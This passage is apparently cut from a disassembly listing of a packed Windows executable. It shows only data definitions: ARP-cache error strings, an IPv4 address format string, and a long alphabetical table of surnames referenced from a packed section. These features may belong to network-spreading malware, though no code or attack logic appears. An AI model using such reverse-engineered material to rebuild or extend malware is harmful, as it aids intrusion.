		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
unk_44426C	db  2Dh	; -		; DATA XREF: sub_40ADC9:loc_40AE22o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_444290	db  2Dh	; -		; DATA XREF: sub_40ADC9+8Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGetting_0	db 'error getting ARP cache: %d',0
unk_4442BC	db  2Dh	; -		; DATA XREF: sub_40ADC9:loc_40AE5Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_4442EC	db  2Dh	; -		; DATA XREF: sub_40ADC9:loc_40AE8Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AEAD+46o
aReal		db 'real',0             ; DATA XREF: sub_40B38F+Fr
		align 10h
		dd 0
dword_444334	dd 0			; DATA XREF: sub_40B38F:loc_40B3B6r
off_444338	dd offset sub_40AFAB	; DATA XREF: sub_40B38F+4Ar
aConst		db 'const',0
		align 8
		dd 1, 40B017h, 7474656Ch, 7265h, 0
		dd 2, 40B075h, 706D6F63h, 2 dup(0)
		dd 3, 40B0C2h, 6E756F63h, 797274h, 0
		dd 4, 40B168h, 736Fh, 2	dup(0)
		dd 5, 40B1DDh
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .packed:off_446DD0o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .packed:00446DD4o
		align 4
aAdams		db 'Adams',0            ; DATA XREF: .packed:00446DD8o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: .packed:00446DDCo
aAdelstein	db 'Adelstein',0        ; DATA XREF: .packed:00446DE0o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .packed:00446DE4o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .packed:00446DE8o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .packed:00446DECo
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .packed:00446DF0o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .packed:00446DF4o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .packed:00446DF8o
		align 4
aAleks		db 'Aleks',0            ; DATA XREF: .packed:00446DFCo
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .packed:00446E00o
aAlongi		db 'Alongi',0           ; DATA XREF: .packed:00446E04o
		align 4
aAltavilla	db 'Altavilla',0        ; DATA XREF: .packed:00446E08o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .packed:00446E0Co
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .packed:00446E10o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: .packed:00446E14o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .packed:00446E18o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .packed:00446E1Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .packed:00446E20o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .packed:00446E24o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .packed:00446E28o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .packed:00446E2Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .packed:00446E30o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .packed:00446E34o
		align 10h
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .packed:00446E38o
		align 4
aAnsley		db 'Ansley',0           ; DATA XREF: .packed:00446E3Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .packed:00446E40o
aAntos		db 'Antos',0            ; DATA XREF: .packed:00446E44o
		align 4
aArbia		db 'Arbia',0            ; DATA XREF: .packed:00446E48o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .packed:00446E4Co
aArellano	db 'Arellano',0         ; DATA XREF: .packed:00446E50o
		align 10h
aAristotle	db 'Aristotle',0        ; DATA XREF: .packed:00446E54o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .packed:00446E58o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .packed:00446E5Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .packed:00446E60o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .packed:00446E64o
		align 10h
aAurelius	db 'Aurelius',0         ; DATA XREF: .packed:00446E68o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .packed:00446E6Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: .packed:00446E70o
		align 10h
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .packed:00446E74o
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .packed:00446E78o
aAyling		db 'Ayling',0           ; DATA XREF: .packed:00446E7Co
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .packed:00446E80o
		align 10h
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .packed:00446E84o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .packed:00446E88o
		align 4
aBady		db 'Bady',0             ; DATA XREF: .packed:00446E8Co
		align 4
aBaglivo	db 'Baglivo',0          ; DATA XREF: .packed:00446E90o
aBagnold	db 'Bagnold',0          ; DATA XREF: .packed:00446E94o
aBailar		db 'Bailar',0           ; DATA XREF: .packed:00446E98o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .packed:00446E9Co
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: .packed:00446EA0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .packed:00446EA4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .packed:00446EA8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .packed:00446EACo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .packed:00446EB0o
		align 4
aBarabesi	db 'Barabesi',0         ; DATA XREF: .packed:00446EB4o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .packed:00446EB8o
aBaranczak	db 'Baranczak',0        ; DATA XREF: .packed:00446EBCo
		align 4
aBaranowska	db 'Baranowska',0       ; DATA XREF: .packed:00446EC0o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .packed:00446EC4o
aBarbetti	db 'Barbetti',0         ; DATA XREF: .packed:00446EC8o
		align 4
aBarneson	db 'Barneson',0         ; DATA XREF: .packed:00446ECCo
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .packed:00446ED0o
aBarriola	db 'Barriola',0         ; DATA XREF: .packed:00446ED4o
		align 4
aBarry		db 'Barry',0            ; DATA XREF: .packed:00446ED8o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .packed:00446EDCo
aBartolome	db 'Bartolome',0        ; DATA XREF: .packed:00446EE0o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .packed:00446EE4o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .packed:00446EE8o
		align 10h
aBashevis	db 'Bashevis',0         ; DATA XREF: .packed:00446EECo
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .packed:00446EF0o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .packed:00446EF4o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .packed:00446EF8o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .packed:00446EFCo
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .packed:00446F00o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .packed:00446F04o
		align 4
aBean		db 'Bean',0             ; DATA XREF: .packed:00446F08o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .packed:00446F0Co
aBeder		db 'Beder',0            ; DATA XREF: .packed:00446F10o
		align 4
aBedford	db 'Bedford',0          ; DATA XREF: .packed:00446F14o
aBehenna	db 'Behenna',0          ; DATA XREF: .packed:00446F18o
aBelanger	db 'Belanger',0         ; DATA XREF: .packed:00446F1Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .packed:00446F20o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .packed:00446F24o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .packed:00446F28o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .packed:00446F2Co
		align 4
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .packed:00446F30o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .packed:00446F34o
aBelloc		db 'Belloc',0           ; DATA XREF: .packed:00446F38o
		align 4
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .packed:00446F3Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .packed:00446F40o
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .packed:00446F44o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .packed:00446F48o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .packed:00446F4Co
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .packed:00446F50o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .packed:00446F54o
		align 10h
aBetti		db 'Betti',0            ; DATA XREF: .packed:00446F58o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .packed:00446F5Co
aBiagioli	db 'Biagioli',0         ; DATA XREF: .packed:00446F60o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .packed:00446F64o
		align 4
aBinion		db 'Binion',0           ; DATA XREF: .packed:00446F68o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .packed:00446F6Co
aBisema		db 'Bisema',0           ; DATA XREF: .packed:00446F70o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .packed:00446F74o
		align 10h
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .packed:00446F78o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .packed:00446F7Co
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .packed:00446F80o
		align 10h
aBlakemore	db 'Blakemore',0        ; DATA XREF: .packed:00446F84o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .packed:00446F88o
		align 4
aBliss		db 'Bliss',0            ; DATA XREF: .packed:00446F8Co
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .packed:00446F90o
aBloch		db 'Bloch',0            ; DATA XREF: .packed:00446F94o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .packed:00446F98o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .packed:00446F9Co
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .packed:00446FA0o
aBlyth		db 'Blyth',0            ; DATA XREF: .packed:00446FA4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .packed:00446FA8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .packed:00446FACo
		align 4
aBollinger	db 'Bollinger',0        ; DATA XREF: .packed:00446FB0o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: .packed:00446FB4o
aBoner		db 'Boner',0            ; DATA XREF: .packed:00446FB8o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: .packed:00446FBCo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .packed:00446FC0o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .packed:00446FC4o
		align 10h
aBook		db 'Book',0             ; DATA XREF: .packed:00446FC8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .packed:00446FCCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .packed:00446FD0o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .packed:00446FD4o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .packed:00446FD8o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: .packed:00446FDCo
		align 4
aBossi		db 'Bossi',0            ; DATA XREF: .packed:00446FE0o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: .packed:00446FE4o
aBotosh		db 'Botosh',0           ; DATA XREF: .packed:00446FE8o
		align 10h
aBoudin		db 'Boudin',0           ; DATA XREF: .packed:00446FECo
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .packed:00446FF0o
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .packed:00446FF4o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .packed:00446FF8o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .packed:00446FFCo
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .packed:00447000o
		align 4
aBoyes		db 'Boyes',0            ; DATA XREF: .packed:00447004o
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: .packed:00447008o
aBoym		db 'Boym',0             ; DATA XREF: .packed:0044700Co
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: .packed:00447010o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .packed:00447014o
		align 4
aBradac		db 'Bradac',0           ; DATA XREF: .packed:00447018o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .packed:0044701Co
aBrecht		db 'Brecht',0           ; DATA XREF: .packed:00447020o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .packed:00447024o
		align 4
aBrenan		db 'Brenan',0           ; DATA XREF: .packed:00447028o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .packed:0044702Co
aBrewer		db 'Brewer',0           ; DATA XREF: .packed:00447030o
		align 4
aBrewer_0	db 'Brewer',0           ; DATA XREF: .packed:00447034o
		align 4
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .packed:00447038o
		align 10h
aBridges	db 'Bridges',0          ; DATA XREF: .packed:0044703Co
aBrinton	db 'Brinton',0          ; DATA XREF: .packed:00447040o
aBritz		db 'Britz',0            ; DATA XREF: .packed:00447044o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .packed:00447048o
		align 10h
aBrook		db 'Brook',0            ; DATA XREF: .packed:0044704Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .packed:00447050o
aBuchan		db 'Buchan',0           ; DATA XREF: .packed:00447054o
		align 4
aBudding	db 'Budding',0          ; DATA XREF: .packed:00447058o
aBullard	db 'Bullard',0          ; DATA XREF: .packed:0044705Co
aBunton		db 'Bunton',0           ; DATA XREF: .packed:00447060o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: .packed:00447064o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .packed:00447068o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: .packed:0044706Co
		align 4
aBurridge	db 'Burridge',0         ; DATA XREF: .packed:00447070o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .packed:00447074o
aByatt		db 'Byatt',0            ; DATA XREF: .packed:00447078o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .packed:0044707Co
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .packed:00447080o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .packed:00447084o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .packed:00447088o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: .packed:0044708Co
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .packed:00447090o
		align 4
aCanley		db 'Canley',0           ; DATA XREF: .packed:00447094o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .packed:00447098o
aCaperton	db 'Caperton',0         ; DATA XREF: .packed:0044709Co
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .packed:004470A0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .packed:004470A4o
		align 10h
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .packed:004470A8o
		align 4
aCapursi	db 'Capursi',0          ; DATA XREF: .packed:004470ACo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .packed:004470B0o
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .packed:004470B4o
aCarlin		db 'Carlin',0           ; DATA XREF: .packed:004470B8o
		align 4
aCarlos		db 'Carlos',0           ; DATA XREF: .packed:004470BCo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: .packed:004470C0o
aCarmichael	db 'Carmichael',0       ; DATA XREF: .packed:004470C4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .packed:004470C8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .packed:004470CCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: .packed:004470D0o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: .packed:004470D4o
		align 4
aCase		db 'Case',0             ; DATA XREF: .packed:004470D8o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: .packed:004470DCo
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .packed:004470E0o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .packed:004470E4o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: .packed:004470E8o
		align 4
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .packed:004470ECo
		align 4
aCerioli	db 'Cerioli',0          ; DATA XREF: .packed:004470F0o
aChapman	db 'Chapman',0          ; DATA XREF: .packed:004470F4o
aCharles	db 'Charles',0          ; DATA XREF: .packed:004470F8o
aCheang		db 'Cheang',0           ; DATA XREF: .packed:004470FCo
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .packed:00447100o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .packed:00447104o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .packed:00447108o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .packed:0044710Co
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .packed:00447110o
		align 4
aChilds		db 'Childs',0           ; DATA XREF: .packed:00447114o
		align 10h
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .packed:00447118o
aChinman	db 'Chinman',0          ; DATA XREF: .packed:0044711Co
aChristenson	db 'Christenson',0      ; DATA XREF: .packed:00447120o
aChristian	db 'Christian',0        ; DATA XREF: .packed:00447124o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .packed:00447128o
		align 4
aChristie	db 'Christie',0         ; DATA XREF: .packed:0044712Co
		align 4
aChristopher	db 'Christopher',0      ; DATA XREF: .packed:00447130o
aChu		db 'Chu',0              ; DATA XREF: .packed:00447134o
aChupasko	db 'Chupasko',0         ; DATA XREF: .packed:00447138o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: .packed:0044713Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .packed:00447140o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .packed:00447144o
		align 4
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .packed:00447148o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .packed:0044714Co
aClancy		db 'Clancy',0           ; DATA XREF: .packed:00447150o
		align 4
aClark		db 'Clark',0            ; DATA XREF: .packed:00447154o
		align 10h
aClement	db 'Clement',0          ; DATA XREF: .packed:00447158o
aClifton	db 'Clifton',0          ; DATA XREF: .packed:0044715Co
aClow		db 'Clow',0             ; DATA XREF: .packed:00447160o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .packed:00447164o
aCoito		db 'Coito',0            ; DATA XREF: .packed:00447168o
		align 4
aColdren	db 'Coldren',0          ; DATA XREF: .packed:0044716Co
aColella	db 'Colella',0          ; DATA XREF: .packed:00447170o
aCollard	db 'Collard',0          ; DATA XREF: .packed:00447174o
aCollis		db 'Collis',0           ; DATA XREF: .packed:00447178o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .packed:0044717Co
					; .packed:00454B5Co
aCompton_0	db 'Compton',0          ; DATA XREF: .packed:00447180o
aComstock	db 'Comstock',0         ; DATA XREF: .packed:00447184o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .packed:00447188o
aCondodina	db 'Condodina',0        ; DATA XREF: .packed:0044718Co
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .packed:00447190o
aCorey		db 'Corey',0            ; DATA XREF: .packed:00447194o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .packed:00447198o
aCosmides	db 'Cosmides',0         ; DATA XREF: .packed:0044719Co
		align 4
aCounter	db 'Counter',0          ; DATA XREF: .packed:004471A0o
aCoutaux	db 'Coutaux',0          ; DATA XREF: .packed:004471A4o
aCrawford	db 'Crawford',0         ; DATA XREF: .packed:004471A8o
		align 4
aCrocker	db 'Crocker',0          ; DATA XREF: .packed:004471ACo
aCroshaw	db 'Croshaw',0          ; DATA XREF: .packed:004471B0o
aCroxen		db 'Croxen',0           ; DATA XREF: .packed:004471B4o
		align 10h
aCroxton	db 'Croxton',0          ; DATA XREF: .packed:004471B8o
aCui		db 'Cui',0              ; DATA XREF: .packed:004471BCo
aCurrier	db 'Currier',0          ; DATA XREF: .packed:004471C0o
aCutler		db 'Cutler',0           ; DATA XREF: .packed:004471C4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .packed:004471C8o
		align 4
aCyders		db 'Cyders',0           ; DATA XREF: .packed:004471CCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .packed:004471D0o
aDaldalian	db 'Daldalian',0        ; DATA XREF: .packed:004471D4o
		align 10h
aDaly		db 'Daly',0             ; DATA XREF: .packed:004471D8o
		align 4
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .packed:004471DCo
aDanieli	db 'Danieli',0          ; DATA XREF: .packed:004471E0o
aDante		db 'Dante',0            ; DATA XREF: .packed:004471E4o
		align 10h
aDapice		db 'Dapice',0           ; DATA XREF: .packed:004471E8o
		align 4
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:004471ECo
aDas		db 'Das',0              ; DATA XREF: .packed:004471F0o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .packed:004471F4o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .packed:004471F8o
aDavid		db 'David',0            ; DATA XREF: .packed:004471FCo
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .packed:00447200o
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .packed:00447204o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .packed:00447208o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0044720Co
		align 10h
aDerousse	db 'deRousse',0         ; DATA XREF: .packed:00447210o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .packed:00447214o
aDees		db 'Dees',0             ; DATA XREF: .packed:00447218o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .packed:0044721Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .packed:00447220o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .packed:00447224o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .packed:00447228o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0044722Co
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .packed:00447230o
		align 10h
aDempster	db 'Dempster',0         ; DATA XREF: .packed:00447234o
		align 4
aDemusz		db 'Demusz',0           ; DATA XREF: .packed:00447238o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .packed:0044723Co
aDenham		db 'Denham',0           ; DATA XREF: .packed:00447240o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .packed:00447244o
aDesombre	db 'Desombre',0         ; DATA XREF: .packed:00447248o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .packed:0044724Co
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .packed:00447250o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .packed:00447254o
		align 10h
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .packed:00447258o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .packed:0044725Co
aDifronzo	db 'Difronzo',0         ; DATA XREF: .packed:00447260o
		align 10h
aDilworth	db 'Dilworth',0         ; DATA XREF: .packed:00447264o
		align 4
aDionysius	db 'Dionysius',0        ; DATA XREF: .packed:00447268o
		align 4
aDirksen	db 'Dirksen',0          ; DATA XREF: .packed:0044726Co
aDockery	db 'Dockery',0          ; DATA XREF: .packed:00447270o
aDoherty	db 'Doherty',0          ; DATA XREF: .packed:00447274o
aDonahue	db 'Donahue',0          ; DATA XREF: .packed:00447278o
aDonner		db 'Donner',0           ; DATA XREF: .packed:0044727Co
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: .packed:00447280o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .packed:00447284o
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: .packed:00447288o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .packed:0044728Co
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: .packed:00447290o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .packed:00447294o
		align 10h
aDowsland	db 'Dowsland',0         ; DATA XREF: .packed:00447298o
		align 4
aDrinker	db 'Drinker',0          ; DATA XREF: .packed:0044729Co
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .packed:004472A0o
aDuffin		db 'Duffin',0           ; DATA XREF: .packed:004472A4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .packed:004472A8o
aDussault	db 'Dussault',0         ; DATA XREF: .packed:004472ACo
		align 4
aDwyer		db 'Dwyer',0            ; DATA XREF: .packed:004472B0o
		align 10h
aEardley	db 'Eardley',0          ; DATA XREF: .packed:004472B4o
aEbeling	db 'Ebeling',0          ; DATA XREF: .packed:004472B8o
aEckel		db 'Eckel',0            ; DATA XREF: .packed:004472BCo
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .packed:004472C0o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: .packed:004472C4o
		align 4
aEdward		db 'Edward',0           ; DATA XREF: .packed:004472C8o
		align 10h
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .packed:004472CCo
aEliasson	db 'Eliasson',0         ; DATA XREF: .packed:004472D0o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .packed:004472D4o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .packed:004472D8o
		align 10h
aElvis		db 'Elvis',0            ; DATA XREF: .packed:004472DCo
		align 4
aEncinas	db 'Encinas',0          ; DATA XREF: .packed:004472E0o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .packed:004472E4o
aEppling	db 'Eppling',0          ; DATA XREF: .packed:004472E8o
aErbach		db 'Erbach',0           ; DATA XREF: .packed:004472ECo
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .packed:004472F0o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: .packed:004472F4o
		align 4
aErez		db 'Erez',0             ; DATA XREF: .packed:004472F8o
		align 10h
aEspinoza	db 'Espinoza',0         ; DATA XREF: .packed:004472FCo
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .packed:00447300o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .packed:00447304o
		align 4
aEuripides	db 'Euripides',0        ; DATA XREF: .packed:00447308o
		align 4
aEverett	db 'Everett',0          ; DATA XREF: .packed:0044730Co
aFabbris	db 'Fabbris',0          ; DATA XREF: .packed:00447310o
aFagan		db 'Fagan',0            ; DATA XREF: .packed:00447314o
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: .packed:00447318o
		align 4
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .packed:0044731Co
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .packed:00447320o
aFaris		db 'Faris',0            ; DATA XREF: .packed:00447324o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .packed:00447328o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: .packed:0044732Co
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .packed:00447330o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: .packed:00447334o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .packed:00447338o
		align 4
aFejzo		db 'Fejzo',0            ; DATA XREF: .packed:0044733Co
		align 4
aFeldman	db 'Feldman',0          ; DATA XREF: .packed:00447340o
aFernald	db 'Fernald',0          ; DATA XREF: .packed:00447344o
aFernandes	db 'Fernandes',0        ; DATA XREF: .packed:00447348o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .packed:0044734Co
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .packed:00447350o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: .packed:00447354o
		align 4
aFido		db 'Fido',0             ; DATA XREF: .packed:00447358o
		align 10h
aField		db 'Field',0            ; DATA XREF: .packed:0044735Co
		align 4
aFink		db 'Fink',0             ; DATA XREF: .packed:00447360o
		align 10h
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .packed:00447364o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .packed:00447368o
		align 4
